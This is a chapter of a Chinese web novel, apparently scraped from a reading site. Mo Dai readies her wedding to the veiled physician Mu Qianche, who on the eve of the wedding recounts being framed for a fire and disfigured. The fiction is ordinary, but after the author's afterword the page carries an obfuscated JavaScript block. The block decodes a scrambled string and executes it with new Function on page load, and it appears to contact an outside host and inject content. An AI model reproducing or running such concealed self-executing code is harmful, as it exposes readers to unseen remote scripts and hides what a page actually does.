(手机请访问 m.duxs8.com); 申时,莫黛按摩完今日的第五个客人之后决定歇工回家,并告知尚水一家人明日歇馆一日,让他们一家人都来莫府吃喜酒。
尚水一家人自然是欢喜的,只是尚达的心里一边羡慕沐千澈,一边又为自己这永远都传达不出去的暗恋心思纠结痛苦。尚同则不然,他早已放下了莫黛,此刻一心中意着萧笑,他知萧笑有个弟弟萧笙是莫黛的相公之一,萧笑的至亲也便只有萧笙一人,这回去莫府定然是要与之相见的,不知萧笙会如何看他,会不会嫌弃他长得粗犷丑陋?
萧笑自然是要在馆内呆到酉时才能回去,此时她正拿着扫帚将大堂门口又清扫了一遍,而后又拿了块抹布,将大门、柜台、置物柜以及屏风擦拭了一遍,见到客人来,急忙热情地上前招呼并将其带到女汤去,而后又回到大堂候着客人。
沐千澈也是未离开,因为尚有三个病人在排队等着,莫黛本欲等着他一起回去,不过,她有些受不住尚水一家人来来去去时投向她的暧mèi眼神,几乎是每见到她一回便会说一声:“恭喜莫姑娘和沐公子了!”
莫黛回去时特意到首饰铺子逛了逛,并未见到与萧笙他们同款的发箍和发簪,于是另外挑了一种亦是木质雕刻的发箍和发簪,紫檀色泽,翠竹为图,比吉祥鸟少了些活泼喜气,却多了几分内蕴淡雅,倒是与沐千澈的气韵相合。
莫黛又买了六枚翠绿色的玉石指环,拜她前世眼盲的经验,凡是她触摸过的东西,大体尺寸都会了然于心,是以她对自己五个相公无名指的尺寸清楚得很。
她知自己买的东西太过寒碜,但现下自己的银钱仍是不多,贵重的首饰她仍是不敢去看。而且她想过,便是自己将来有钱了,或许也不会花费在这些金银首饰上,他们只是小门小户踏实过日子的人家,凡事低调一些才好,若是将自己妆扮得跟移动首饰铺似的,贼不惦记你才怪!
说来,沐千澈的针线活与他的厨艺一样是见不得人的,是以他的喜袍是萧笙和莫无云三兄弟帮忙做的,为此沐千澈一直觉得愧疚,却不知正因为他不会针线活和厨艺,才让萧笙和莫无云他们觉得他并非那般高冷,相处起来也变得融洽了。
许韶林已将莫府的三个院子都装饰了起来,回廊上都挂了大红灯笼,房门上都张贴了大红囍字,沐千澈的房内也已装饰一新,原本的灰白帐子换了新的,是沐千澈中意的天青色,喜被也已整齐地码在床榻上,墙上也张贴了囍字,大红色的喜烛就摆在置物柜上。
因为要请的人也不多,无需流水席,只在后院摆三桌便可,酒和食材什么的,许韶林和萧笙已准备好。
莫黛几日前让人运来了一批竹子栽种在前院,为了让竹子快些生根成活,莫黛不惜在一桶水里滴了一滴血,而后将这些水浇灌到每根竹子的根部,效果显著,当日那些竹子便成活了,而且也长高了些许,枝叶愈发翠绿,有风吹来便飒飒清响,看着甚是喜人。
丸牛对此甚感生气,瞪着莫黛道:你若是嫌自己的血多,大可以流出来供养老子!
沐千澈见到那片竹林后也有些不悦,虽然深知莫黛是为了他才种了竹子,可她居然以那种方式催活竹子,太不爱惜自己了。
这事许韶林和萧笙他们是不知晓的,若是知晓怕是还得挨全家人狂批,为此,她也知错了,表示自己再不会轻易做这种事了。不过莫黛是确实爱这片新种下的竹林,自栽种后,每晚吃罢饭都要搬张躺椅进去躺一会儿,丸牛和两个小的也跟着,而那个最小的近来也频频加入他们。
自从吃了香肌果,蚊虫或是软体生物什么的便不敢近她的身,只有稍微大型一些的动物才略感对她表示亲近,只是那也是在她首先释放出好意允许它们亲近的情况下才可以。倒是植物对她不避讳,而这片饮了她血的竹林也似乎有了灵性,一见她来便齐刷刷抖动竹叶,而她躺下后,它们又立时静止不去吵她。
这日吃罢晚饭,莫黛又打算到竹林去,丸牛和两个小的也准备好了要去,最小的那个恰好醒来,当莫无轻将其抱出来时,他便自莫无轻怀里挣扎着朝莫黛伸出小手臂。莫无轻无奈地看着莫黛,意思甚明显,都是她给惯的!莫黛倒不觉得有什么,直接一手抱起小软团,一手抓起一把躺椅,领着丸牛和两个小的嘻嘻哈哈地朝前院走去。
萧笑见了不由地咂舌羡慕,打趣萧笙道:“你也快些与莫黛生个孩子陪我玩!”
萧笙脸一红,跟着就白她一眼:“你自己找几个相公替你生一大群岂不更好?”
萧笑被驳得无话可说,摸了摸鼻子:“不与你说了,尚掌柜说得对,唯小人与男子难养也!”萧笑将顺耳听来的一句话抛出来,气得萧笙拿起擀面杖要揍她。
许韶林在旁见了直摇头,笑着道:“阿笑,阿笙说得对,你呀,是该为自己早作打算了!”
“爹,你就让我单身多陪你几日不行吗?再者说,我不是没找到像这爹这般美的男子吗?若是找到了我一准扑……”
“我让你扑!你这个说话不经大脑的家伙!”萧笙抡起擀面杖就朝萧笑头上砸去,萧笑吓得跑出正厅去,一边跑一边还说着“阿笙好狠,姐姐的心都碎了”什么的,气得萧笙哭笑不得,其实他哪里就舍得揍她了,只不过是装装样子吓唬她一下而已。
“爹,你别朝心里去,我姐她就那个样!”萧笙见许韶林因为萧笑的话而窘红了脸,遂有些愧疚道。
“爹哪会朝心里去啊,只是,”许韶林看了看萧笙,又看了看莫无云三兄弟,最后又看了看沐千澈,“你们说爹是不是忒没威严了?”现下又年轻了不少,压根儿就没有老人的样子。
萧笙、莫无云和莫无轻不知该说什么,许韶林确实是和善太过,威严不足,根本就是一老好人,现下他又年轻貌美了,简直就与莫无风一般无二了,这若是走出去,一准会被坏人欺负。
莫无风忽然感觉到萧笙、莫无云和莫无轻都朝他的身上看过来,遂有些不自在地说道:“你们看我作甚?爹比我强多了!”
许韶林也知自己给人的第一印象便是性子软好拿捏,说来莫无云三兄弟中,莫无轻才是他生的,可在外人看来莫无风才与他最是相像。
“爹,您无需在意外人如何说,爹身上所拥有的温厚气韵是在走过的岁月中点滴沉淀下来的,绝非年轻人能够比得上的,在我们眼里,爹就是爹!”沐千澈见许韶林的心情有些沮丧,于是诚心说道。
闻言,萧笙和莫无云三兄弟不禁眼前一亮,真不愧是沐千澈,有学识之人说的话就是不一样,一针见血啊!
“爹,你听到了吗?千澈哥说得多好,他说的正是我们心里所想的!”萧笙急忙道,莫无云三兄弟也跟着点头。
许韶林听了甚是感动,眼泪又流了出来,他赶紧抬袖擦去,笑道:“爹真是越活越回去了,居然还要你们小辈来安慰!对了,阿笙,明日的喜点你可准备好了?”
“准备好了!”
“那无云、无风和无轻有帮阿澈的喜袍做好吗?阿澈试穿了吗?”
“做好了,也试穿过了,刚刚好!”
“那便好!阿澈你早些回去歇息吧,明日养好了精神才能光彩照人!还有你们,也赶紧去歇着,明日不是要一起拜堂吗?别顶着黑眼圈让客人笑话!”
几人纷纷不自然地点头应声,而后便各自去洗漱了。许韶林来到前院竹林内找莫黛时,便发现在淡淡的月色下,一个小软团趴在她胸口,两个小的趴在她腿上,还有一头小粉猪趴在她脚面上,居然全部睡着了。
夜风习习,竹影摇曳,一大三小并一猪睡得正酣。
许韶林不禁看得痴了,舍不得去叫醒他们。不知何时沐千澈也站到许韶林的身侧,他斗笠上垂下的黑纱在随风飘到许韶林的颊边,许韶林转头看他,笑道:“阿澈,你瞧他们睡得多香,也不怕蚊虫叮咬!”
沐千澈也不由地想笑,不过他知一般的蚊虫是不会近莫黛身的,那几个小家伙愿意黏着她也不是没道理的,她身上所散发出的馨香气息最是让人安神好眠。
许韶林又盯着莫黛和三个小的看了一会儿,沐千澈的黑纱再次飘过来触上他的脸颊,他不由地感慨道:“阿澈,爹知你也是个命苦的,你一直戴着面纱不以真容示人,想必有着难言的苦衷!不过,你且放宽心,咱们都是一家人,无论你长成什么模样,在爹的心里你都是个贴心的好孩子!”
许韶林猜测沐千澈可能是因为长相问题才不愿以真容示人,除了莫小羽以外其他人也都是如此想的。
沐千澈因许韶林的这番体己话而感动不已,他不幸了十多年,好在这会儿找到了温暖的人以及温暖的家,他的嗓音有些哽咽:“谢谢爹!”
“傻孩子,一家人谢啥谢!时辰不早了,爹去将三个小的抱回去睡觉!”许韶林笑着拍了拍沐千澈的肩,沐千澈比他高了半个头,与莫无轻差不多高。
莫黛其实在许韶林与沐千澈对话时便醒了,并将他们的对话内容一字不落地听进耳内,嘴角不由地轻扬起一抹弧度,能有许韶林这样的爹,她还真是有幸!
许韶林将莫小满抱到莫无轻的房里,而莫黛则将莫小羽和莫小翼放到许韶林的床榻上,等她出来时正好遇到许韶林。许韶林督促她赶紧去洗漱歇息,养足精神,明日好做新娘。莫黛有些窘,但还是点头应声。
明日要成亲,是以,莫黛今日是躺在自己的床榻上的,心里松了一口气,但同时又有些落寞,她知自己已经渐渐习惯身边有人躺着了,反倒是有些不适应独自一人的床榻,多么可怕的习惯!
子时了,丸牛趴在莫黛身边睡得香甜,可莫黛自己却是了无睡意,明日她便要与沐千澈成亲了,届时沐千澈便名正言顺地成了她的相公,如此,她便可以名正言顺地将他留在自己的身边守护着珍惜着宝贝着,绝对不让任何人再有机会伤害他!
莫黛想象着沐千澈穿上大红喜袍的样子,想象着红烛下,她与他会交臂喝下交杯酒的情形,想象着……莫黛忽然捂住脸,将脑子里一瞬间闪现的画面速速消去。她索性起身下床穿上鞋再次朝前院走去,想着她的躺椅仍然放在竹林内,这会儿再去躺会儿好了,只要在那片竹林内躺着,她的心便会平静下来。
然而,当她来到前院时,忽然发现她的躺椅上居然有人躺着,那人不是别人,正是沐千澈。
见莫黛朝他走过来,沐千澈坐起身。
“你……”
“你……”
二人同时出声,沐千澈有些尴尬,莫黛笑道:“你先说。”
“还是你先吧。”沐千澈的声音有些不自然。
莫黛忽然起了坏心,故意以着轻浮的语调说道:“你是不是想我想得睡不着?”
沐千澈一愣,随即便站起身欲走,莫黛心道,不妙,玩笑开大发了,沐千澈本就是个腼腆矜持之人,根本适应不了她这不正经的调调,于是她急忙走上前,一把扯住他的衣袖道歉:“千澈,对不起,你莫生气,其实我平日里不这样的,真的!”
沐千澈停住脚步,再次愣了愣,良久才小声道:“你无需道歉,我,确实是……想你想到睡不着……”
莫黛先是一愣,随即便感觉心里愉悦又欢喜,也不禁小声道:“我亦是想你想到睡不着……”
闻言,沐千澈的心跳加快,或许是太过感动太过欢喜了,亦或许是夜晚的月色太过朦胧诱huo了,总之,他第一次主动转过身将莫黛揽进怀里,似是想要将她揉进身体内那般,手臂紧紧环抱着她,让她倾听他此刻如雷般的心跳,让她知他对她的欢喜一如她对他那般强烈。
莫黛没想到沐千澈会主动搂抱她,受宠若惊,一时间有些发懵,待感觉到沐千澈抱紧她的身体微微颤抖之时,她忽然便有些想哭,她伸出手臂亦紧紧搂抱着他。
良久,沐千澈才像是反应过来自己做了什么一般,想要推开莫黛,可莫黛却不撒手,赖在他怀里说了一句在她自己看来已是惊世骇俗的话:“千澈,我今夜不想回去……”
沐千澈一怔,身体随即便僵硬如石,只是心跳比刚才还要快。
莫黛明白自己又吓到了沐千澈,不过这是她发自内心的一句话,便是让她这具比较兽的身体忍着什么都不做,她也想呆在沐千澈的身边,就这样静静依偎在竹林的躺椅上,听清风阵阵,品月色淡淡。
“我说笑的,我这便回了,你也早点歇吧,明日,我们就要成亲了!”莫黛松开手,笑着离开,却不想没走两步便被沐千澈拉住手。
“莫黛,这是我最后一次问你,你真的不后悔吗?”沐千澈在她耳畔问道。
“不后悔!”莫黛转过身,伸手揽住他的腰,“甜言蜜语我也不甚擅长,对你我只说一句,我欢喜你!”
莫黛才说完,便被沐千澈打横抱起走回他在前院的房间。莫黛有些傻眼,这不是女尊的世界吗?不是该由她来抱着沐千澈吗?
似是看穿莫黛的心思,沐千澈虽然有些不自在,但却甚是坚定道:“我舍不得让你出力来抱我,我只想一直一直抱着你!”说完又看向莫黛的脸小心翼翼地确认道,“你,会介意吗?”
莫黛自然不会介意,非但不介意,反倒甚是欢喜,在这个女尊的世界里,有人,还是自己心悦的男人愿意抱着她宠着她,她睡着都会笑醒的。
“你在想什么?”沐千澈一边问,一边推开房门,也不知他是如何做到的,指尖一弹,桌上的清油灯便荧荧亮起。
“我在想你……”莫黛揽着他的脖子,姣美的容颜在昏黄的灯光下愈发显得灵动美丽,黑亮的瞳眸,若夜空神秘的星子般耀闪出蛊惑的辉芒,一眼望进去便再难拔开。
沐千澈忽然快步走到床榻前将莫黛轻轻放在鸳鸯戏水的大红喜被上,双臂撑在她身体的两侧,斗笠上的黑纱轻拂着她的脸:“莫黛,我想吻你……”
莫黛有些不好意思,但心里却欢喜异常,她闭上眼,准备承接他的吻,可她却久久等不到,才一睁开眼,便见一滴泪自黑纱间掉落她的眼里,灼热滚烫,令她的眼里也不禁涌出泪水来,她伸出手想抚摸他黑纱下的脸,却被沐千澈握住。
“我想吻你,想得心都痛了,可我不敢,不配……”沐千澈说着,忽而躺到她的身旁,侧身背对着她,“我十二岁那年被陆家带到帝京,祖母的故交陆槐原本打算等到我十四岁便以正夫身份嫁与陆筠,可翌年,陆槐祖母过世,自此婚事便被搁置。我初到帝京那年便知,陆筠与宰相府的嫡子赵琰天交好,陆槐祖母过世后,陆筠守孝一年,第三年便迎娶赵琰天为正夫,而他们在成亲之前便早已私通,且育有一子。”
那些达官贵族府内的事情弯弯道道太多,莫黛真不知当年年仅十二岁的沐千澈是如何挺过来的。
“我本欲离开陆家,可陆筠好脸面,陆槐祖母的遗言她不敢不听,说等到我十五岁便娶我为平夫,自此赵琰天便视我为眼中钉肉中刺,百般刁难……”说到这里,沐千澈停了下来,好似是想起了当年被刁难的情形,他的身体开始发抖。
莫黛心疼不已,伸手搂住他的腰,将脸贴在他背上:“千澈,别说了,都过去了……”
沐千澈却咬着牙关继续道:“他放火烧了我的房间,房间里尚有他两岁的儿子在睡觉……他那儿子平日里最喜与我玩耍,是以,他便诬陷我,说我加害他儿子,说我故意烧死了他儿子。陆筠信了他的话,为了替他们的儿子报仇,便命人抬来烧炭的火炉,将我的脸生生压进那通红的炭火里,而后又命人将我杖毙扔进帝京城郊外的乱葬岗。”
莫黛愈发搂紧沐千澈,恨不能将他的那段痛苦的记忆抹去。
“可是我命大,居然没有死,且被师父救下,此后师父带我离开帝京来到云姆山,师父教我武功,传我医术,并在莫家村替我找了一处房子,师父外出云游,而我则以寡夫的身份活了下来。”
沐千澈三言两语述说了自己的身世,可莫黛却知他必然是经历了种种常人难以想象的痛苦才活到现下。
沐千澈自毁容至今一直戴着黑纱斗笠,从来不曾照过镜子,他一直封闭着自己的心,以及那段不堪的记忆,唯有如此,他才能活下来。然而,他想要封闭那段记忆,但并不代表不会偶尔想起,每每想起,他便如发病一般浑身发抖,五脏六腑都在绞痛,铺天盖地的绝望如山般向他压来,有无数次,他都感觉自己会那样死去,可每次他都挺了过来,便如师父说的那般,他命够硬,轻易死不了!
他欢喜莫黛,自她问他名字之时,他的心里便有她,但他早已残破不堪,他这张脸连他自己都不敢去看,去摸,就像赵英姿说的那般,谁敢亲得下去?
但莫黛亲了他,还说欢喜他,且大声宣言要娶他,明日便是他们成亲的日子。
“千澈,我想吻你。”莫黛贴在沐千澈的背后轻声道。
沐千澈一怔,回忆之苦瞬间被搁置一旁,随即又苦笑着说道:“我多想给你最美好的自己……”
“你在我心里一直是最美好的!你若是怕被我看见,我便闭着眼。”莫黛说着当真闭上了眼,钻入他的面纱下,吻上他烧焦的唇,“你心疼我,不愿我用血替你治愈伤口,那你就不要胡思乱想,乖乖接受我的吻,以及我的,一切……”
沐千澈闭上眼,暂时忘却自己残缺的面容,回应莫黛的吻。渐渐的,沐千澈便迷失在一片馨香的世界里,柔软芳香甜美,又似落入云海里的一叶扁舟,浮浮沉沉,飘飘渺渺,最后化作一个绮丽幸福的梦。
------题外话------
今天少了点,明天争取万更~o(n_n)o~
本书由潇湘书院首发,请勿转载!
(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();